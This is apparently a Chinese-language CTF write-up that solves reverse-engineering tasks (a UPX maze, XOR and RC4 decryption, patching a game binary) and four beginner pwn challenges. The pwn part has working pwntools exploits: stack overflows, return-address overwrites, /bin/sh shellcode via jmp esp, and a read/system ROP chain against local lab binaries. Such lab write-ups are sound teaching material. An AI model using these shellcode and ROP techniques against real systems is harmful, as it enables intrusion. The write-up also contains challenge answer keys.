悄悄的wp

这次比赛,有点坑逆向选手,再次感谢各位宽容大方善良美丽可爱小伙伴们。。。。

RE

Re1

用peid查壳,发现是upx加壳,直接脱壳(ESP定律或者直接找脱壳工具),用IAD打开
发现关键函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 main_0()
{
int v0; // edx
__int64 v1; // ST00_8
char Buffer; // [esp+D0h] [ebp-3Ch]
puts("input your Secret:");
gets(&Buffer);
if ( sub_4110E6((int)&unk_417680, &Buffer) )
{
if ( sub_41102D(&unk_417680) )
printf("flag is flag{%s}\n", &Buffer);
else
printf("you can do it,again\n");
}
else
{
printf("sorry\n");
}
HIDWORD(v1) = v0;
LODWORD(v1) = 0;
return v1;
}

发现sub_4110E6功能如下(简单xor),发现key

1
2
3
4
5
6
7
8
9
10
int __cdecl sub_411520(int a1, char *Str)
{
signed int i; // [esp+DCh] [ebp-8h]
if ( j_strlen(Str) != 28 )
return 0;
for ( i = 0; i < 28; ++i )
*(_BYTE *)(i + a1) = LOBYTE(dword_417000[i]) ^ Str[i];
return 1;
}

发现sub_41102D函数,如果做过类似题的话,知道这是一个迷宫题目,因为发现正好是上下左右,并且一步都会判断是否出错,因为是+16,判断为宽16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
signed int __cdecl sub_4115D0(int a1)
{
signed int v2; // [esp+D0h] [ebp-20h]
signed int i; // [esp+E8h] [ebp-8h]
v2 = '}';
for ( i = 0; i < 28; ++i )
{
switch ( *(_BYTE *)(i + a1) )
{
case 'l':
--v2;
break;
case 'r':
++v2;
break;
case 'f':
v2 += 16;
break;
case 'b':
v2 -= 16;
break;
}
if ( byte_417070[v2] == 'd' )
return 1;
if ( byte_417070[v2] != '1' )
return 0;
}
return 0;
}

OD加载,发现迷宫,s是开始 ,d是结束,每一步都是1(否则失败),l向左,r向右,f向下,b向上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0000000000000000
0 1111111111 0
0 1 1 0
0 1 11d
0 1 0
0 1111111111 0
0 1 0
0000000000000s00
``
得到字符串`bblllllllllbbbbrrrrrrrrrffrr`,用python写xor代码得
``` C
def Re1_qimo():
c = []
str = 'bblllllllllbbbbrrrrrrrrrffrr'
key = [0x2B,0x16,0x33,0x05,0x1F,0x33,0x19,0x1C,0x14,0x33,0x0D,0x0C,0x06,0x3D,0x0F,0x13,0x02,0x2D,0x0B,0x1D,0x07,0x2D,0x19,0x1C,0x56,0x11,0x53,0x53]
for i in range(28):
c.append(chr(ord(str[i])^key[i]))
print "".join(c)

flag: It_is_upx_and_map_you_kn0w!!

Re3

有ida打开,发现tls,脱去TLS可以参考https://esebanana.github.io/2017/10/10/re_tls/
发现第一个加密用户名函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
signed int sub_412530()
{
int k; // [esp+D0h] [ebp-54h]
int j; // [esp+DCh] [ebp-48h]
int i; // [esp+E8h] [ebp-3Ch]
__int16 v4[14]; // [esp+F4h] [ebp-30h]
int v5; // [esp+118h] [ebp-Ch]
v5 = j_strlen(&Str);
v4[0] = 96;
v4[1] = 113;
v4[2] = 96;
v4[3] = 111;
v4[4] = 127;
v4[5] = 105;
v4[6] = 75;
v4[7] = 85;
v4[8] = 115;
v4[9] = 122;
v4[10] = 74;
v4[11] = 83;
v4[12] = 64;
v4[13] = 81;
for ( i = 0; i < v5 / 2; ++i )
{
*(&Str + i) ^= *(&Str + v5 - 1 - i);
*(&Str + v5 - 1 - i) ^= *(&Str + i);
*(&Str + i) ^= *(&Str + v5 - 1 - i);
}
for ( j = 0; j < v5; ++j )
word_419500[j] = (unsigned __int8)(((((j ^ 0x76) - 18) ^ 0x80) + 43) ^ *(&Str + j));
for ( k = 0; k < v5; ++k )
{
if ( word_419500[k] != v4[k] )
return 0;
}
return 1;
}

解密代码

1
2
3
4
5
6
7
8
def Re3_qimo():
c = []
key = [96,113,96,111,127,105,75,85,115,122,74,83,64,81]
l=len(key)
for i in range(l):
c.append(chr(key[i]^((((i ^ 0x76) - 18) ^ 0x80) + 43)%256))
c.reverse()
print "".join(c)

输入flag后、判断flag长度35位,
加密一、flag异或得到flag1

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl sub_411730(int a1, int a2)
{
int result; // eax
signed int i; // [esp+D0h] [ebp-8h]
for ( i = 0; i < 35; ++i )
{
*(_BYTE *)(i + a1) = *(_BYTE *)(i + a2) ^ 0x76;
result = i + 1;
}
return result;
}

然后将flag1将中间21个字符分为3组,每一组分别加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#第一组
int __cdecl sub_411800(int a1, int a2)
{
int result; // eax
signed int i; // [esp+E8h] [ebp-8h]
for ( i = 0; i < 7; ++i )
{
*(_BYTE *)(i + a1) = *(_BYTE *)(i + a2 + 7) ^ 0xCC;
*(_BYTE *)(i + a1) = 2 * *(_BYTE *)(i + a1) & 0xAA | ((*(_BYTE *)(i + a1) & 0xAA) >> 1);
result = i + 1;
}
return result;
}
#第二组
int __cdecl sub_411910(int a1, int a2)
{
int result; // eax
signed int i; // [esp+E8h] [ebp-8h]
for ( i = 0; i < 7; ++i )
{
*(_BYTE *)(i + a1) = *(_BYTE *)(i + a2 + 14) ^ 0xBE;
*(_BYTE *)(i + a1) = 4 * *(_BYTE *)(i + a1) & 0xCC | ((*(_BYTE *)(i + a1) & 0xCC) >> 2);
result = i + 1;
}
return result;
}
#第三组
int __cdecl sub_411A30(int a1, int a2)
{
int result; // eax
signed int i; // [esp+E8h] [ebp-8h]
for ( i = 0; i < 7; ++i )
{
*(_BYTE *)(i + a1) = *(_BYTE *)(i + a2 + 21) ^ 0xEF;
*(_BYTE *)(i + a1) = 16 * *(_BYTE *)(i + a1) & 0xF0 | ((*(_BYTE *)(i + a1) & 0xF0) >> 4);
result = i + 1;
}
return result;
}

最后和key1比较
key1 = [0x10,0x1a ,0x17 ,0x11 ,0xd,0x22 ,0x1e ,0xe3 ,0xc6 ,0xda ,0xe3 ,0xc6 ,0xda ,0xdd ,0xf6 ,0xee ,0x6d ,0xe4 ,0xad ,0xe7 ,0x6d ,0xdf ,0x6f ,0x7f ,0x9a ,0xde ,0x6c ,0xff ,0x13 ,0x17 ,0x4 ,0x29 ,0x57 ,0x57 ,0xb ]

解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def Re3_qimo():
c = []
key = [96,113,96,111,127,105,75,85,115,122,74,83,64,81]
l=len(key)
for i in range(l):
c.append(chr(key[i]^((((i ^ 0x76) - 18) ^ 0x80) + 43)%256))
c.reverse()
print "".join(c)
enc_t = [0x10,0x1a ,0x17 ,0x11 ,0xd,0x22 ,0x1e ,0xe3 ,0xc6 ,0xda ,0xe3 ,0xc6 ,0xda ,0xdd ,0xf6 ,0xee ,0x6d ,0xe4 ,0xad ,0xe7 ,0x6d ,0xdf ,0x6f ,0x7f ,0x9a ,0xde ,0x6c ,0xff ,0x13 ,0x17 ,0x4 ,0x29 ,0x57 ,0x57 ,0xb ]
dec_t = [0]*35
#decode1
for i in range(7):
v1 = (enc_t[i+7] & 0x55) << 1
v2 = (enc_t[i+7] >> 1) & 0x55
enc_t[i+7] = v1 | v2
enc_t[i+7] = enc_t[i+7] ^ 0xCC
#decode2
for i in range(7):
v1 = (enc_t[i+14] & 0x33) << 2
v2 = (enc_t[i+14] >> 2) & 0x33
enc_t[i+14] = v1 | v2
enc_t[i+14] = enc_t[i+14] ^ 0xBE
#decode3
for i in range(7):
v1 = (enc_t[i+21] & 0xF) << 4
v2 = (enc_t[i+21] >> 4) & 0xF
enc_t[i+21] = v1 | v2
enc_t[i+21] = enc_t[i+21] ^ 0xEF
for i in range(35):
dec_t[i] = chr(enc_t[i] ^ 0x76)
print "".join(dec_t)

Re4

IDA打开找到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __thiscall muen_412200(void *this)
{
int result; // eax
void *v2; // ecx
void *v3; // ecx
void *v4; // ecx
LOBYTE(result) = sub_411163(this);
dword_4182DC = (char)result;
result = (char)result;
switch ( (char)result )
{
case 0:
system("cls");
result = j_muen_412200(v2);
break;
case 1:
j_atk_subkkkkkkkkkkkkkkkkkkkkkk_412010();
system("cls");
result = j_muen_412200(v3);
break;
case 2:
deffffffffffffffffffffff_41111D();
system("cls");
result = j_muen_412200(v4);
break;
case 3:
deah_411113();
return result;
default:
return result;
}
return result;
}

找到攻击函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int sub_412010()
{
int result; // eax
if ( hp > 0 )
{
hp -= boss_atk;
result = boss_hp - atk;
boss_hp -= atk;
}
if ( hp <= 0 )
{
printf("you are die!!\n");
exit(0);
}
if ( boss_hp <= 0 )
result = sub_41100F();
return result;
}

改为,这样自己不会掉血

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int subkkkkkkkkkkkkkkkkkkkkkk_412010()
{
int result; // eax
if ( hp > 0 )
{
result = boss_hp - atk;
boss_hp -= atk;
}
if ( hp <= 0 )
{
printf("you are die!!\n");
exit(0);
}
if ( boss_hp <= 0 )
result = next_boss_sub_41100F();
return result;
}

然后,慢慢,把每一层都修改,最后一层因为调用自杀函数,这里直接nop掉,最后修改保存,得到flag
flag : flag{I_1ike_hard_w0rk_484_RE_and_never_up}

apk1

用工具apk_to_java.jar打开,发现是一个re4加密
放在java里运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static String encode(String aInput, String aKey) {
int i;
int[] iS = new int[256];
byte[] iK = new byte[256];
for (i = 0; i < 256; i++) {
iS[i] = i;
}
for (short i2 = (short) 0; i2 < (short) 256; i2 = (short) (i2 + 1)) {
iK[i2] = (byte) aKey.charAt(i2 % aKey.length());
}
int j = 0;
for (i = 0; i < 255; i++) {
j = ((iS[i] + j) + iK[i]) % 256;
int temp = iS[i];
iS[i] = iS[j];
iS[j] = temp;
}
i = 0;
j = 0;
int temp;
char[] iInputChar = aInput.toCharArray();
char[] iOutputChar = new char[iInputChar.length];
for (short x = (short) 0; x < iInputChar.length; x = (short) (x + 1)) {
i = (i + 1) % 256;
j = (iS[i] + j) % 256;
temp = iS[i];
iS[i] = iS[j];
iS[j] = temp;
iOutputChar[x] = (char) (iInputChar[x] ^ ((char) iS[(iS[i] + (iS[j] % 256)) % 256]));
}
return new String(iOutputChar);
}
public static void main(String[] args) throws UnsupportedEncodingException {
String key = "PassW0rd";
byte[] ke = new byte[]{(byte) 33, (byte) 67, (byte) 80, (byte) 65, (byte) 110, (byte) -62, Byte.MIN_VALUE, (byte) -62, (byte) -98, (byte) -61, (byte) -79, (byte) 76, (byte) -62, (byte) -127, (byte) -62, (byte) -67, (byte) 39, (byte) -61, (byte) -80, (byte) 90, (byte) -62, (byte) -99, (byte) 108, (byte) 62, (byte) -61, (byte) -78, (byte) -61, (byte) -70, (byte) -62, (byte) -116, (byte) 2, (byte) 126, (byte) -62, (byte) -73, (byte) 13, (byte) 113, (byte) 73, (byte) -61, (byte) -82, (byte) -61, (byte) -114, (byte) -61, (byte) -120, (byte) -61, (byte) -79, (byte) -62, (byte) -67, (byte) -62, (byte) -92, (byte) 7, (byte) 115, (byte) -62, (byte) -121, (byte) -62, (byte) -86, (byte) 19, (byte) -61, (byte) -121, (byte) -62, (byte) -86, (byte) 10, (byte) 44, (byte) 77, (byte) -62, (byte) -76};
String l = new String(ke);
System.out.println(encode(l,key));
}

最后没有想到的是,java的编码问题导致有些人没有解出来,有点难以接受,我用的是utf-8
flag : flag{Th1s_is_only_Rc4_you_Should_know_more}

apk2

用工具apk_to_java.jar打开,发现是一个简单的文件加密,直接复制出来运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
private static byte[] md5(String data) {
try {
MessageDigest messageDigest = MessageDigest.getInstance("md5");
messageDigest.update(data.getBytes());
return messageDigest.digest();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
return new byte[0];
}
}
private static byte[] encryptData(byte[] data, byte[] key) {
byte keyLength = (byte) key.length;
byte[] cipherText = new byte[data.length];
for (int i = 0; i < data.length; i++) {
cipherText[i] = (byte) (data[i] ^ key[i % keyLength]);
}
return cipherText;
}
private static String generateRandomFilename(int length) {
Random random = new Random();
StringBuilder stringBuilder = new StringBuilder(length);
for (int i = 0; i < length; i++) {
char temp = (char) random.nextInt(62);
if (temp < '\u001a') {
temp = (char) (temp + 97);
} else if (temp < '4') {
temp = (char) (temp + 65);
} else {
temp = (char) (temp + 48);
}
stringBuilder.append(temp);
}
System.out.println(stringBuilder.toString());
return stringBuilder.toString();
}
private static byte[] readUri(String uri) throws IOException {
File file = new File(uri);
@SuppressWarnings("resource")
InputStream inputStream = new FileInputStream(file);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
while (true) {
int read = inputStream.read(buffer);
if (read == -1) {
return byteArrayOutputStream.toByteArray();
}
byteArrayOutputStream.write(buffer, 0, read);
}
}
private static void decode(byte[] cipherText) throws IOException {
File outputFile = new File("F:/CTF/timu/期末/RE/apk2/flag1");
try {
FileOutputStream fileOutputStream = new FileOutputStream(outputFile);
fileOutputStream.write(cipherText);
fileOutputStream.close();
}catch (Exception e) {
// TODO: handle exception
}
System.out.println("done");
}
public static void main(String[] args) throws IOException {
String password = "Password";
byte[] key = md5(password);
String path="F:/CTF/timu/期末/RE/apk2/flag.enc";
byte[] data=readUri(path);
byte[] data1=encryptData(data,key);
decode(data1);
}

然后用010打开,发现是一个压缩包,解压得到flag
flag{This_easy_encrypto_t0_filehi$!><}

PWN

1、babypwn1

程序就不放了,这里可以下载(https://betamao.me)
分析程序,检查发现程序无任何保护

我们只需要v5=abcd,就可以得到shell(意味着拿到flag),但v5=233了,所以这里我们需要覆盖v5的值
这里第一个箭头是函数的栈顶eps=0x3f4(同时我们输入的s也是存放在这里),第二个箭头v5=0xc,所以我们算出两者的距离d=0x3f4-0xc=1000,就可以覆盖了,构造payload(小端序,v5是int型的):
payload = 'a'*1000+'dcba'
测试成功poc.py

1
2
3
4
5
6
from pwn import *
p = process('./babypwn1')
payload = 'a'*1000+'dcba'
p.recv()
p.sendline(payload)
p.interactive()

2、babypwn2

分析程序,检查发现程序无任何保护
发现这个函数,同时发现getShell函数

那我们只有覆盖返回地址到getShell函数就好啦,发现函数栈帧0x3f4=1012,函数栈是这样的:

那么我们只需要输入1012+4+ret(getShell的地址)就成功啦
测试成功poc.py

1
2
3
4
5
6
7
8
9
from pwn import *
p = process('babypwn2')
elf=ELF('babypwn2')
ret=elf.symbols['getShell']
payload = 'a'*1016 +p32(ret)
p.recv()
p.sendline(payload)
p.interactive()

3、babypwn3

分析程序,检查发现程序无任何保护
发现存在溢出,并且当v2=127的时候,会去执行输入的代码

可是这里溢出后并没有执行得到shell的函数,因为没有任何保护,所以栈上的代码可以执行。那么我们就自己写一个执行shell的代码输入就可以了——shellcode,可以在网上找,它的功能就是system(“/bin/sh”)
方法一
1、输入shellcode
2、覆盖v7=127
测试成功poc.py

1
2
3
4
5
6
7
8
from pwn import *
shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
p=process('./babypwn3')
payload = shellcode+'a'*(127-len(shellcode))+p32(127)
p.recv()
p.sendline(payload)
raw_input()
p.interactive()

方法二
1、存在jmp esp指令
2、栈溢出到jmp esp位置,执行shellcode
测试成功poc.py

1
2
3
4
5
6
7
8
from pwn import *
shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
p=process('./babypwn3')
jmp_esp=0x8048500
payload = 'a'*140+p32(jmp_esp)+shellcode
p.recv()
p.sendline(payload)
p.interactive()

4、babypwn4

分析程序,检查发现程序只有NX保护
潘师傅说这道题出题有点失误,但是还是很基础的,这里我就把我当poc.py献给大家
测试成功poc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p = process('babypwn4')
elf=ELF('babypwn4')
bss=elf.bss()
read_plt=elf.plt['read']
system_plt=elf.plt['system']
pppr=0x8048639
payload = 'a'*245 +p32(read_plt)+p32(pppr)+p32(0)+p32(bss)+p32(8)+p32(system_plt)+p32(1)+p32(bss)
p.recv()
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

这里我要睡觉了,就不解释了。有任何问题欢迎来问

Donate
-------------本文结束感谢您的阅读-------------